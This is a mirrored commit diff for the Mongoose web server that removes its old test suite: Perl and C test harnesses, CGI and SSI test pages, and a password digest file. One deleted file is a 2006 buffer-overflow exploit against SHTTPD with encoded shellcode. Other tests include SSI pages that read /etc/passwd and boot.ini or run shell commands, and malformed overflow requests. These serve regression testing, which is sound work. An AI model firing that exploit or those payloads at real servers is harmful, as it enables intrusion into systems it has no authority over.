mirror of
https://github.com/cesanta/mongoose.git
synced 2026-10-26 12:14:56 +00:00
tests moved under build
This commit is contained in:
1 parent
6a9494b683
commit
5a3b1123f6
31 files changed
+427
-713
No files matched your search
@@ -1 +0,0 @@
|
||||
abc123
|
||||
@@ -1,28 +0,0 @@
|
||||
#!/usr/bin/env perl
|
||||
|
||||
@flags = ("NO_POPEN", "NO_SSL", "NDEBUG", "DEBUG", "NO_CGI");
|
||||
my $num_flags = @flags;
|
||||
|
||||
sub fail {
|
||||
print "FAILED: @_\n";
|
||||
exit 1;
|
||||
}
|
||||
|
||||
my $platform = $ARGV[0] || "linux";
|
||||
|
||||
for (my $i = 0; $i < 2 ** $num_flags; $i++) {
|
||||
my $bitmask = sprintf("%*.*b", $num_flags, $num_flags, $i);
|
||||
my @combination = ();
|
||||
for (my $j = 0; $j < $num_flags; $j++) {
|
||||
push @combination, $flags[$j] if substr($bitmask, $j, 1);
|
||||
}
|
||||
my $defines = join(" ", map { "-D$_" } @combination);
|
||||
my $cmd = "CFLAGS=\"$defines\" make clean $platform >/dev/null";
|
||||
system($cmd) == 0 or fail "build failed: $_";
|
||||
print "Build succeeded, flags: [$defines]\n";
|
||||
system("perl test/test.pl basic_tests >/dev/null") == 0
|
||||
or fail "basic tests";
|
||||
print "Basic tests: OK\n";
|
||||
}
|
||||
|
||||
print "PASS: All builds passed!\n";
|
||||
@@ -1,5 +0,0 @@
|
||||
#!/bin/sh
|
||||
|
||||
echo "echoing bad headers: server must report status 500"
|
||||
exec 1>&2
|
||||
echo shit!!!
|
||||
@@ -1,3 +0,0 @@
|
||||
#!/usr/bin/env perl
|
||||
|
||||
print "Status: 123 Please pass me to the client\r\n\r\n";
|
||||
@@ -1,3 +0,0 @@
|
||||
#!/usr/bin/env perl
|
||||
|
||||
print "Content-Type: text/plain\n\nhello\n";
|
||||
@@ -1 +0,0 @@
|
||||
куку!
|
||||
-182
@@ -1,182 +0,0 @@
|
||||
// Copyright (c) 2004-2009 Sergey Lyubka
|
||||
//
|
||||
// Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
// of this software and associated documentation files (the "Software"), to deal
|
||||
// in the Software without restriction, including without limitation the rights
|
||||
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
// copies of the Software, and to permit persons to whom the Software is
|
||||
// furnished to do so, subject to the following conditions:
|
||||
//
|
||||
// The above copyright notice and this permission notice shall be included in
|
||||
// all copies or substantial portions of the Software.
|
||||
//
|
||||
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||
// THE SOFTWARE.
|
||||
//
|
||||
// Unit test for the mongoose web server. Tests embedded API.
|
||||
|
||||
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#ifndef _WIN32
|
||||
#include <unistd.h>
|
||||
#endif
|
||||
|
||||
#include "mongoose.h"
|
||||
|
||||
#if !defined(LISTENING_PORT)
|
||||
#define LISTENING_PORT "23456"
|
||||
#endif
|
||||
|
||||
static const char *standard_reply = "HTTP/1.1 200 OK\r\n"
|
||||
"Content-Type: text/plain\r\n"
|
||||
"Connection: close\r\n\r\n";
|
||||
|
||||
static void test_get_var(struct mg_connection *conn,
|
||||
const struct mg_request_info *ri) {
|
||||
char *var, *buf;
|
||||
size_t buf_len;
|
||||
const char *cl;
|
||||
int var_len;
|
||||
|
||||
mg_printf(conn, "%s", standard_reply);
|
||||
|
||||
buf_len = 0;
|
||||
var = buf = NULL;
|
||||
cl = mg_get_header(conn, "Content-Length");
|
||||
mg_printf(conn, "cl: %p\n", cl);
|
||||
if ((!strcmp(ri->request_method, "POST") ||
|
||||
!strcmp(ri->request_method, "PUT"))
|
||||
&& cl != NULL) {
|
||||
buf_len = atoi(cl);
|
||||
buf = malloc(buf_len);
|
||||
/* Read in two pieces, to test continuation */
|
||||
if (buf_len > 2) {
|
||||
mg_read(conn, buf, 2);
|
||||
mg_read(conn, buf + 2, buf_len - 2);
|
||||
} else {
|
||||
mg_read(conn, buf, buf_len);
|
||||
}
|
||||
} else if (ri->query_string != NULL) {
|
||||
buf_len = strlen(ri->query_string);
|
||||
buf = malloc(buf_len + 1);
|
||||
strcpy(buf, ri->query_string);
|
||||
}
|
||||
var = malloc(buf_len + 1);
|
||||
var_len = mg_get_var(buf, buf_len, "my_var", var, buf_len + 1);
|
||||
mg_printf(conn, "Value: [%s]\n", var);
|
||||
mg_printf(conn, "Value size: [%d]\n", var_len);
|
||||
free(buf);
|
||||
free(var);
|
||||
}
|
||||
|
||||
static void test_get_header(struct mg_connection *conn,
|
||||
const struct mg_request_info *ri) {
|
||||
const char *value;
|
||||
int i;
|
||||
|
||||
mg_printf(conn, "%s", standard_reply);
|
||||
printf("HTTP headers: %d\n", ri->num_headers);
|
||||
for (i = 0; i < ri->num_headers; i++) {
|
||||
printf("[%s]: [%s]\n", ri->http_headers[i].name, ri->http_headers[i].value);
|
||||
}
|
||||
|
||||
value = mg_get_header(conn, "Host");
|
||||
if (value != NULL) {
|
||||
mg_printf(conn, "Value: [%s]", value);
|
||||
}
|
||||
}
|
||||
|
||||
static void test_get_request_info(struct mg_connection *conn,
|
||||
const struct mg_request_info *ri) {
|
||||
int i;
|
||||
|
||||
mg_printf(conn, "%s", standard_reply);
|
||||
|
||||
mg_printf(conn, "Method: [%s]\n", ri->request_method);
|
||||
mg_printf(conn, "URI: [%s]\n", ri->uri);
|
||||
mg_printf(conn, "HTTP version: [%s]\n", ri->http_version);
|
||||
|
||||
for (i = 0; i < ri->num_headers; i++) {
|
||||
mg_printf(conn, "HTTP header [%s]: [%s]\n",
|
||||
ri->http_headers[i].name,
|
||||
ri->http_headers[i].value);
|
||||
}
|
||||
|
||||
mg_printf(conn, "Query string: [%s]\n",
|
||||
ri->query_string ? ri->query_string: "");
|
||||
mg_printf(conn, "Remote IP: [%lu]\n", ri->remote_ip);
|
||||
mg_printf(conn, "Remote port: [%d]\n", ri->remote_port);
|
||||
mg_printf(conn, "Remote user: [%s]\n",
|
||||
ri->remote_user ? ri->remote_user : "");
|
||||
}
|
||||
|
||||
static void test_error(struct mg_connection *conn,
|
||||
const struct mg_request_info *ri) {
|
||||
int status = (int) ri->ev_data;
|
||||
mg_printf(conn, "HTTP/1.1 %d XX\r\n"
|
||||
"Conntection: close\r\n\r\n", status);
|
||||
mg_printf(conn, "Error: [%d]", status);
|
||||
}
|
||||
|
||||
static void test_post(struct mg_connection *conn,
|
||||
const struct mg_request_info *ri) {
|
||||
const char *cl;
|
||||
char *buf;
|
||||
int len;
|
||||
|
||||
mg_printf(conn, "%s", standard_reply);
|
||||
if (strcmp(ri->request_method, "POST") == 0 &&
|
||||
(cl = mg_get_header(conn, "Content-Length")) != NULL) {
|
||||
len = atoi(cl);
|
||||
if ((buf = malloc(len)) != NULL) {
|
||||
mg_write(conn, buf, len);
|
||||
free(buf);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
static const struct test_config {
|
||||
enum mg_event event;
|
||||
const char *uri;
|
||||
void (*func)(struct mg_connection *, const struct mg_request_info *);
|
||||
} test_config[] = {
|
||||
{MG_NEW_REQUEST, "/test_get_header", &test_get_header},
|
||||
{MG_NEW_REQUEST, "/test_get_var", &test_get_var},
|
||||
{MG_NEW_REQUEST, "/test_get_request_info", &test_get_request_info},
|
||||
{MG_NEW_REQUEST, "/test_post", &test_post},
|
||||
{MG_HTTP_ERROR, "", &test_error},
|
||||
{0, NULL, NULL}
|
||||
};
|
||||
|
||||
static void *callback(enum mg_event event,
|
||||
struct mg_connection *conn) {
|
||||
const struct mg_request_info *request_info = mg_get_request_info(conn);
|
||||
int i;
|
||||
|
||||
for (i = 0; test_config[i].uri != NULL; i++) {
|
||||
if (event == test_config[i].event &&
|
||||
(event == MG_HTTP_ERROR ||
|
||||
!strcmp(request_info->uri, test_config[i].uri))) {
|
||||
test_config[i].func(conn, request_info);
|
||||
return "processed";
|
||||
}
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
int main(void) {
|
||||
struct mg_context *ctx;
|
||||
const char *options[] = {"listening_ports", LISTENING_PORT, NULL};
|
||||
|
||||
ctx = mg_start(callback, NULL, options);
|
||||
pause();
|
||||
return 0;
|
||||
}
|
||||
@@ -1,46 +0,0 @@
|
||||
#!/usr/bin/env perl
|
||||
|
||||
use Cwd;
|
||||
use CGI;
|
||||
|
||||
use vars '%in';
|
||||
CGI::ReadParse();
|
||||
|
||||
print "Content-Type: text/html\r\n\r\n";
|
||||
|
||||
print "<pre>\n";
|
||||
foreach my $key (sort keys %ENV) {
|
||||
print "$key=$ENV{$key}\n";
|
||||
}
|
||||
|
||||
print "\n";
|
||||
|
||||
foreach my $key (sort keys %in) {
|
||||
print "$key=$in{$key}\n";
|
||||
}
|
||||
|
||||
print "\n";
|
||||
|
||||
print 'CURRENT_DIR=' . getcwd() . "\n";
|
||||
print "</pre>\n";
|
||||
|
||||
my $stuff = <<EOP ;
|
||||
<script language="javascript">
|
||||
function set_val() {
|
||||
}
|
||||
</script>
|
||||
<form method=get>
|
||||
<input type=hidden name=a>
|
||||
<input type=text name=_a onChange="javascript: this.form.a.value=this.value;">
|
||||
<input type=submit value=get>
|
||||
</form>
|
||||
|
||||
<form method=post>
|
||||
<input type=text name=b>
|
||||
<input type=submit value=post>
|
||||
</form>
|
||||
EOP
|
||||
|
||||
#system('some shit');
|
||||
|
||||
print $stuff;
|
||||
@@ -1,69 +0,0 @@
|
||||
#!/usr/bin/perl -w
|
||||
|
||||
# SHTTPD Buffer Overflow (POST)
|
||||
# Tested on SHTTPD 1.34 WinXP SP1 Hebrew
|
||||
# http://shttpd.sourceforge.net
|
||||
# Codded By SkOd, 05/10/2006
|
||||
# ISRAEL
|
||||
#
|
||||
# details:
|
||||
# EAX 00000194 , ECX 009EBCA8 , EDX 00BC488C
|
||||
# EBX 00000004 , EIP 41414141 , EBP 41414141
|
||||
# ESI 00BC4358 , EDI 00BCC3CC ASCII "POST"
|
||||
# ESP 009EFC08 ASCII 41,"AA...AAA"
|
||||
|
||||
|
||||
use IO::Socket;
|
||||
|
||||
sub fail(){
|
||||
syswrite STDOUT, "[-]Connect failed.\n";
|
||||
exit;
|
||||
}
|
||||
|
||||
sub header()
|
||||
{
|
||||
print("##################################\n");
|
||||
print("SHTTPD (POST) Buffer Overflow.\n");
|
||||
print("[http://shttpd.sourceforge.net]\n");
|
||||
print("Codded By SkOd, 05/10/2006\n");
|
||||
print("##################################\n");
|
||||
}
|
||||
|
||||
if (@ARGV < 1)
|
||||
{
|
||||
&header();
|
||||
print("Usage: Perl shttpd.pl [host]\n");
|
||||
exit;
|
||||
}
|
||||
|
||||
&header();
|
||||
$host=$ARGV[0];
|
||||
$port="80";
|
||||
$host=~ s/(http:\/\/)//eg;
|
||||
|
||||
#win32_exec- CMD=calc Size=160 (metasploit.com)
|
||||
$shell =
|
||||
"%33%c9%83%e9%de%d9%ee%d9%74%24%f4%5b%81%73%13%52".
|
||||
"%ca%2b%e0%83%eb%fc%e2%f4%ae%22%6f%e0%52%ca%a0%a5".
|
||||
"%6e%41%57%e5%2a%cb%c4%6b%1d%d2%a0%bf%72%cb%c0%a9".
|
||||
"%d9%fe%a0%e1%bc%fb%eb%79%fe%4e%eb%94%55%0b%e1%ed".
|
||||
"%53%08%c0%14%69%9e%0f%e4%27%2f%a0%bf%76%cb%c0%86".
|
||||
"%d9%c6%60%6b%0d%d6%2a%0b%d9%d6%a0%e1%b9%43%77%c4".
|
||||
"%56%09%1a%20%36%41%6b%d0%d7%0a%53%ec%d9%8a%27%6b".
|
||||
"%22%d6%86%6b%3a%c2%c0%e9%d9%4a%9b%e0%52%ca%a0%88".
|
||||
"%0d%a2%b3%1e%d8%c4%7c%1f%b5%a9%4a%8c%31%ca%2b%e0";
|
||||
|
||||
|
||||
$esp="%73%C3%2A%4F"; #[4F2AC373]JMP ESP (kernel32.dll) WinXP SP1(Hebrew)
|
||||
$buff=("%41"x8).$esp.("%90"x85).$shell; #Shellcode+NOP=245
|
||||
|
||||
print length($buff) . "\n";
|
||||
|
||||
$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "$port") || &fail();
|
||||
syswrite STDOUT,"[+]Connected.\n";
|
||||
print $sock "POST /$buff HTTP/1.1\n";
|
||||
print $sock "HOST:$host\n\n";
|
||||
syswrite STDOUT,"[+]Done.\n";
|
||||
close($sock);
|
||||
|
||||
# milw0rm.com [2006-10-05]
|
||||
@@ -1,6 +0,0 @@
|
||||
#!/bin/sh
|
||||
|
||||
echo "Content-Type: text/plain"
|
||||
echo
|
||||
|
||||
echo $QUERY_STRING
|
||||
@@ -1 +0,0 @@
|
||||
simple text file
|
||||
@@ -1,57 +0,0 @@
|
||||
HTTP/1.0 200 OK
|
||||
Content-Type: text/html
|
||||
|
||||
<html><body>
|
||||
|
||||
|
||||
<p>This is an example Lua server page served by
|
||||
<a href="http://code.google.com/p/mongoose">Mongoose web server</a>.
|
||||
Mongoose has Lua, Sqlite, and other functionality built in the binary.
|
||||
This example page stores the request in the Sqlite database, and shows
|
||||
all requests done previously.</p>
|
||||
<p> Today is <? mg.write(os.date("%A")) ?>
|
||||
|
||||
<pre>
|
||||
<?
|
||||
-- for k,v in pairs(_G) do mg.write(k, '\n') end
|
||||
|
||||
-- Open database
|
||||
local db = sqlite3.open('requests.db')
|
||||
|
||||
-- Setup a trace callback, to show SQL statements we'll be executing.
|
||||
-- db:trace(function(data, sql) mg.write('Executing: ', sql: '\n') end, nil)
|
||||
|
||||
-- Create a table if it is not created already
|
||||
db:exec([[
|
||||
CREATE TABLE IF NOT EXISTS requests (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
timestamp NOT NULL,
|
||||
method NOT NULL,
|
||||
uri NOT NULL,
|
||||
addr
|
||||
);
|
||||
]])
|
||||
|
||||
|
||||
-- Add entry about this request
|
||||
local stmt = db:prepare(
|
||||
'INSERT INTO requests VALUES(NULL, datetime("now"), ?, ?, ?);');
|
||||
stmt:bind_values(mg.request_info.request_method,
|
||||
mg.request_info.uri,
|
||||
mg.request_info.remote_port)
|
||||
stmt:step()
|
||||
stmt:finalize()
|
||||
|
||||
-- Show all previous records
|
||||
mg.write('Previous requests:\n')
|
||||
stmt = db:prepare('SELECT * FROM requests ORDER BY id DESC;')
|
||||
while stmt:step() == sqlite3.ROW do
|
||||
local v = stmt:get_values()
|
||||
mg.write(v[1] .. ' ' .. v[2] .. ' ' .. v[3] .. ' '
|
||||
.. v[4] .. ' ' .. v[5] .. '\n')
|
||||
end
|
||||
|
||||
-- Close database
|
||||
db:close()
|
||||
?>
|
||||
</pre></body></html>
|
||||
@@ -1,3 +0,0 @@
|
||||
guest:mydomain.com:485264dcc977a1925370b89d516a1477
|
||||
Administrator:mydomain.com:e32daa3028eba04dc53e2d781e6fc983
|
||||
|
||||
@@ -1,6 +0,0 @@
|
||||
#!/bin/sh
|
||||
|
||||
echo "Content-Type: text/plain"
|
||||
echo
|
||||
|
||||
echo "This is shell script CGI."
|
||||
@@ -1,5 +0,0 @@
|
||||
<html><pre>
|
||||
ssi_begin
|
||||
<!--#include file="../build/Makefile" -->
|
||||
ssi_end
|
||||
</pre></html>
|
||||
@@ -1,5 +0,0 @@
|
||||
<html><pre>
|
||||
ssi_begin
|
||||
<!--#include virtual="embed.c" -->
|
||||
ssi_end
|
||||
</pre></html>
|
||||
@@ -1,5 +0,0 @@
|
||||
<html><pre>
|
||||
ssi_begin
|
||||
<!--#exec "ls -l" -->
|
||||
ssi_end
|
||||
</pre></html>
|
||||
@@ -1,5 +0,0 @@
|
||||
<html><pre>
|
||||
ssi_begin
|
||||
<!--#exec "dir /w" -->
|
||||
ssi_end
|
||||
</pre></html>
|
||||
@@ -1,5 +0,0 @@
|
||||
<html><pre>
|
||||
ssi_begin
|
||||
<!--#include abspath="/etc/passwd" -->
|
||||
ssi_end
|
||||
</pre></html>
|
||||
@@ -1,5 +0,0 @@
|
||||
<html><pre>
|
||||
ssi_begin
|
||||
<!--#include abspath="c:\boot.ini" -->
|
||||
ssi_end
|
||||
</pre></html>
|
||||
@@ -1,6 +0,0 @@
|
||||
|
||||
<html><pre>
|
||||
ssi_begin
|
||||
<!--#include "unit_test.c" -->
|
||||
ssi_end
|
||||
</pre></html>
|
||||
@@ -1 +0,0 @@
|
||||
<!--#include "ssi9.shtml" -->
|
||||
@@ -1,3 +0,0 @@
|
||||
ssi_begin
|
||||
<!--#include file="../build/Makefile" -->
|
||||
ssi_end
|
||||
-458
@@ -1,458 +0,0 @@
|
||||
#!/usr/bin/env perl
|
||||
# This script is used to test Mongoose web server
|
||||
# $Id: test.pl 516 2010-05-03 12:54:37Z valenok $
|
||||
|
||||
use IO::Socket;
|
||||
use File::Path;
|
||||
use File::Basename;
|
||||
use Cwd;
|
||||
use strict;
|
||||
use warnings;
|
||||
#use diagnostics;
|
||||
|
||||
sub on_windows { $^O =~ /win32/i; }
|
||||
|
||||
my $port = 23456;
|
||||
my $pid = undef;
|
||||
my $num_requests;
|
||||
my $dir_separator = on_windows() ? '\\' : '/';
|
||||
my $copy_cmd = on_windows() ? 'copy' : 'cp';
|
||||
my $test_dir_uri = "test_dir";
|
||||
my $root = '../test';
|
||||
my $abs_root = Cwd::abs_path(dirname($0) . $dir_separator . $root);
|
||||
my $test_dir = $abs_root . $dir_separator. $test_dir_uri;
|
||||
#print "$test_dir\n"; exit 0;
|
||||
my $config = 'mongoose.conf';
|
||||
my $exe_ext = on_windows() ? '.exe' : '';
|
||||
my $mongoose_exe = '.' . $dir_separator . 'mongoose' . $exe_ext;
|
||||
my $embed_exe = '.' . $dir_separator . 'embed' . $exe_ext;
|
||||
my $unit_test_exe = '.' . $dir_separator . 'unit_test' . $exe_ext;
|
||||
my $exit_code = 0;
|
||||
|
||||
my @files_to_delete = ('debug.log', 'access.log', $config, "$root/a/put.txt",
|
||||
"$root/a+.txt", "$root/.htpasswd", "$root/binary_file", "$root/a",
|
||||
"$root/myperl", $embed_exe, $unit_test_exe);
|
||||
|
||||
END {
|
||||
unlink @files_to_delete;
|
||||
kill_spawned_child();
|
||||
File::Path::rmtree($test_dir);
|
||||
exit $exit_code;
|
||||
}
|
||||
|
||||
sub fail {
|
||||
print "FAILED: @_\n";
|
||||
$exit_code = 1;
|
||||
exit 1;
|
||||
}
|
||||
|
||||
sub get_num_of_log_entries {
|
||||
open FD, "access.log" or return 0;
|
||||
my @lines = (<FD>);
|
||||
close FD;
|
||||
return scalar @lines;
|
||||
}
|
||||
|
||||
# Send the request to the 127.0.0.1:$port and return the reply
|
||||
sub req {
|
||||
my ($request, $inc, $timeout) = @_;
|
||||
my $sock = IO::Socket::INET->new(Proto => 6,
|
||||
PeerAddr => '127.0.0.1', PeerPort => $port);
|
||||
fail("Cannot connect to http://127.0.0.1:$port : $!") unless $sock;
|
||||
$sock->autoflush(1);
|
||||
foreach my $byte (split //, $request) {
|
||||
last unless print $sock $byte;
|
||||
select undef, undef, undef, .001 if length($request) < 256;
|
||||
}
|
||||
my ($out, $buf) = ('', '');
|
||||
eval {
|
||||
alarm $timeout if $timeout;
|
||||
$out .= $buf while (sysread($sock, $buf, 1024) > 0);
|
||||
alarm 0 if $timeout;
|
||||
};
|
||||
close $sock;
|
||||
|
||||
$num_requests += defined($inc) ? $inc : 1;
|
||||
my $num_logs = get_num_of_log_entries();
|
||||
|
||||
unless ($num_requests == $num_logs) {
|
||||
fail("Request has not been logged: [$request], output: [$out]");
|
||||
}
|
||||
|
||||
return $out;
|
||||
}
|
||||
|
||||
# Send the request. Compare with the expected reply. Fail if no match
|
||||
sub o {
|
||||
my ($request, $expected_reply, $message, $num_logs) = @_;
|
||||
print "==> $message ... ";
|
||||
my $reply = req($request, $num_logs);
|
||||
if ($reply =~ /$expected_reply/s) {
|
||||
print "OK\n";
|
||||
} else {
|
||||
#fail("Requested: [$request]\nExpected: [$expected_reply], got: [$reply]");
|
||||
fail("Expected: [$expected_reply], got: [$reply]");
|
||||
}
|
||||
}
|
||||
|
||||
# Spawn a server listening on specified port
|
||||
sub spawn {
|
||||
my ($cmdline) = @_;
|
||||
print 'Executing: ', @_, "\n";
|
||||
if (on_windows()) {
|
||||
my @args = split /\s+/, $cmdline;
|
||||
my $executable = $args[0];
|
||||
Win32::Spawn($executable, $cmdline, $pid);
|
||||
die "Cannot spawn @_: $!" unless $pid;
|
||||
} else {
|
||||
unless ($pid = fork()) {
|
||||
exec $cmdline;
|
||||
die "cannot exec [$cmdline]: $!\n";
|
||||
}
|
||||
}
|
||||
sleep 1;
|
||||
}
|
||||
|
||||
sub write_file {
|
||||
open FD, ">$_[0]" or fail "Cannot open $_[0]: $!";
|
||||
binmode FD;
|
||||
print FD $_[1];
|
||||
close FD;
|
||||
}
|
||||
|
||||
sub read_file {
|
||||
open FD, $_[0] or fail "Cannot open $_[0]: $!";
|
||||
my @lines = <FD>;
|
||||
close FD;
|
||||
return join '', @lines;
|
||||
}
|
||||
|
||||
sub kill_spawned_child {
|
||||
if (defined($pid)) {
|
||||
kill(9, $pid);
|
||||
waitpid($pid, 0);
|
||||
}
|
||||
}
|
||||
|
||||
####################################################### ENTRY POINT
|
||||
|
||||
unlink @files_to_delete;
|
||||
$SIG{PIPE} = 'IGNORE';
|
||||
$SIG{ALRM} = sub { die "timeout\n" };
|
||||
#local $| =1;
|
||||
|
||||
# Make sure we export only symbols that start with "mg_", and keep local
|
||||
# symbols static.
|
||||
if ($^O =~ /darwin|bsd|linux/) {
|
||||
my $out = `(cc -c mongoose.c && nm mongoose.o) | grep ' T '`;
|
||||
foreach (split /\n/, $out) {
|
||||
/T\s+_?mg_.+/ or fail("Exported symbol $_")
|
||||
}
|
||||
}
|
||||
|
||||
# Make sure we load config file if no options are given.
|
||||
# Command line options override config files settings
|
||||
write_file($config, "access_log_file access.log\n" .
|
||||
"document_root $root\n" .
|
||||
"listening_ports 127.0.0.1:12345\n");
|
||||
spawn("$mongoose_exe -listening_ports 127.0.0.1:$port");
|
||||
o("GET /hello.txt HTTP/1.0\n\n", 'HTTP/1.1 200 OK', 'Loading config file');
|
||||
unlink $config;
|
||||
kill_spawned_child();
|
||||
|
||||
# Spawn the server on port $port
|
||||
my $cmd = "$mongoose_exe ".
|
||||
"-listening_ports 127.0.0.1:$port ".
|
||||
"-access_log_file access.log ".
|
||||
"-error_log_file debug.log ".
|
||||
"-cgi_environment CGI_FOO=foo,CGI_BAR=bar,CGI_BAZ=baz " .
|
||||
"-extra_mime_types .bar=foo/bar,.tar.gz=blah,.baz=foo " .
|
||||
"-put_delete_auth_file $abs_root/passfile " .
|
||||
'-access_control_list -0.0.0.0/0,+127.0.0.1 ' .
|
||||
"-document_root $root ".
|
||||
"-hide_files_patterns **exploit.PL ".
|
||||
"-enable_keep_alive yes ".
|
||||
"-url_rewrite_patterns /aiased=/etc/,/ta=$test_dir";
|
||||
$cmd .= ' -cgi_interpreter perl' if on_windows();
|
||||
spawn($cmd);
|
||||
|
||||
o("GET /dir%20with%20spaces/桌面/ HTTP/1.0\r\n\r\n", 'куку!',
|
||||
'Non-ascii chars in path');
|
||||
o("GET /hello.txt HTTP/1.1\nConnection: close\nRange: bytes=3-50\r\n\r\n",
|
||||
'Content-Length: 15\s', 'Range past the file end');
|
||||
o("GET /hello.txt HTTP/1.1\nContent-Length: 0\n\n ".
|
||||
"GET /hello.txt HTTP/1.0\nContent-Length: 0\n\n",
|
||||
'HTTP/1.1 200.+keep-alive.+HTTP/1.1 200.+close',
|
||||
'Request pipelining', 2);
|
||||
|
||||
my $x = 'x=' . 'A' x (200 * 1024);
|
||||
my $len = length($x);
|
||||
o("POST /env.cgi HTTP/1.0\r\nContent-Length: $len\r\n\r\n$x",
|
||||
'^HTTP/1.1 200 OK', 'Long POST');
|
||||
|
||||
# Try to overflow: Send very long request
|
||||
req('POST ' . '/..' x 100 . 'ABCD' x 3000 . "\n\n", 0); # don't log this one
|
||||
|
||||
o("GET /hello.txt HTTP/1.0\n\n", 'HTTP/1.1 200 OK', 'GET regular file');
|
||||
o("GET /hello.txt HTTP/1.0\nContent-Length: -2147483648\n\n",
|
||||
'HTTP/1.1 200 OK', 'Negative content length');
|
||||
o("GET /hello.txt HTTP/1.0\n\n", 'Content-Length: 17\s',
|
||||
'GET regular file Content-Length');
|
||||
o("GET /%68%65%6c%6c%6f%2e%74%78%74 HTTP/1.0\n\n",
|
||||
'HTTP/1.1 200 OK', 'URL-decoding');
|
||||
|
||||
# Break CGI reading after 1 second. We must get full output.
|
||||
# Since CGI script does sleep, we sleep as well and increase request count
|
||||
# manually.
|
||||
my $slow_cgi_reply;
|
||||
print "==> Slow CGI output ... ";
|
||||
fail('Slow CGI output forward reply=', $slow_cgi_reply) unless
|
||||
($slow_cgi_reply = req("GET /timeout.cgi HTTP/1.0\r\n\r\n", 0, 1)) =~ /Some data/s;
|
||||
print "OK\n";
|
||||
sleep 3;
|
||||
$num_requests++;
|
||||
|
||||
# '+' in URI must not be URL-decoded to space
|
||||
write_file("$root/a+.txt", '');
|
||||
o("GET /a+.txt HTTP/1.0\n\n", 'HTTP/1.1 200 OK', 'URL-decoding, + in URI');
|
||||
|
||||
# Test HTTP version parsing
|
||||
o("GET / HTTPX/1.0\r\n\r\n", '^HTTP/1.1 400', 'Bad HTTP Version', 0);
|
||||
o("GET / HTTP/x.1\r\n\r\n", '^HTTP/1.1 505', 'Bad HTTP maj Version', 0);
|
||||
o("GET / HTTP/1.1z\r\n\r\n", '^HTTP/1.1 505', 'Bad HTTP min Version', 0);
|
||||
o("GET / HTTP/02.0\r\n\r\n", '^HTTP/1.1 505', 'HTTP Version >1.1', 0);
|
||||
|
||||
# File with leading single dot
|
||||
o("GET /.leading.dot.txt HTTP/1.0\n\n", 'abc123', 'Leading dot 1');
|
||||
o("GET /...leading.dot.txt HTTP/1.0\n\n", 'abc123', 'Leading dot 2');
|
||||
o("GET /../\\\\/.//...leading.dot.txt HTTP/1.0\n\n", 'abc123', 'Leading dot 3')
|
||||
if on_windows();
|
||||
o("GET .. HTTP/1.0\n\n", '400 Bad Request', 'Leading dot 4', 0);
|
||||
|
||||
mkdir $test_dir unless -d $test_dir;
|
||||
o("GET /$test_dir_uri/not_exist HTTP/1.0\n\n",
|
||||
'HTTP/1.1 404', 'PATH_INFO loop problem');
|
||||
o("GET /$test_dir_uri HTTP/1.0\n\n", 'HTTP/1.1 301', 'Directory redirection');
|
||||
o("GET /$test_dir_uri/ HTTP/1.0\n\n", 'Modified', 'Directory listing');
|
||||
write_file("$test_dir/index.html", "tralala");
|
||||
o("GET /$test_dir_uri/ HTTP/1.0\n\n", 'tralala', 'Index substitution');
|
||||
o("GET / HTTP/1.0\n\n", 'embed.c', 'Directory listing - file name');
|
||||
o("GET /ta/ HTTP/1.0\n\n", 'Modified', 'Aliases');
|
||||
o("GET /not-exist HTTP/1.0\r\n\n", 'HTTP/1.1 404', 'Not existent file');
|
||||
mkdir $test_dir . $dir_separator . 'x';
|
||||
my $path = $test_dir . $dir_separator . 'x' . $dir_separator . 'index.cgi';
|
||||
write_file($path, read_file($root . $dir_separator . 'env.cgi'));
|
||||
chmod(0755, $path);
|
||||
o("GET /$test_dir_uri/x/ HTTP/1.0\n\n", "Content-Type: text/html\r\n\r\n",
|
||||
'index.cgi execution');
|
||||
|
||||
o("GET /$test_dir_uri/x/ HTTP/1.0\n\n",
|
||||
"SCRIPT_FILENAME=$test_dir/x/index.cgi", 'SCRIPT_FILENAME');
|
||||
o("GET /ta/x/ HTTP/1.0\n\n", "SCRIPT_NAME=/ta/x/index.cgi",
|
||||
'Aliases SCRIPT_NAME');
|
||||
o("GET /hello.txt HTTP/1.1\nConnection: close\n\n", 'Connection: close',
|
||||
'No keep-alive');
|
||||
|
||||
$path = $test_dir . $dir_separator . 'x' . $dir_separator . 'a.cgi';
|
||||
system("ln -s `which perl` $root/myperl") == 0 or fail("Can't symlink perl");
|
||||
write_file($path, "#!../../myperl\n" .
|
||||
"print \"Content-Type: text/plain\\n\\nhi\";");
|
||||
chmod(0755, $path);
|
||||
o("GET /$test_dir_uri/x/a.cgi HTTP/1.0\n\n", "hi", 'Relative CGI interp path');
|
||||
o("GET * HTTP/1.0\n\n", "^HTTP/1.1 404", '* URI');
|
||||
|
||||
my $mime_types = {
|
||||
html => 'text/html',
|
||||
htm => 'text/html',
|
||||
txt => 'text/plain',
|
||||
unknown_extension => 'text/plain',
|
||||
js => 'application/x-javascript',
|
||||
css => 'text/css',
|
||||
jpg => 'image/jpeg',
|
||||
c => 'text/plain',
|
||||
'tar.gz' => 'blah',
|
||||
bar => 'foo/bar',
|
||||
baz => 'foo',
|
||||
};
|
||||
|
||||
foreach my $key (keys %$mime_types) {
|
||||
my $filename = "_mime_file_test.$key";
|
||||
write_file("$root/$filename", '');
|
||||
o("GET /$filename HTTP/1.0\n\n",
|
||||
"Content-Type: $mime_types->{$key}", ".$key mime type");
|
||||
unlink "$root/$filename";
|
||||
}
|
||||
|
||||
# Get binary file and check the integrity
|
||||
my $binary_file = 'binary_file';
|
||||
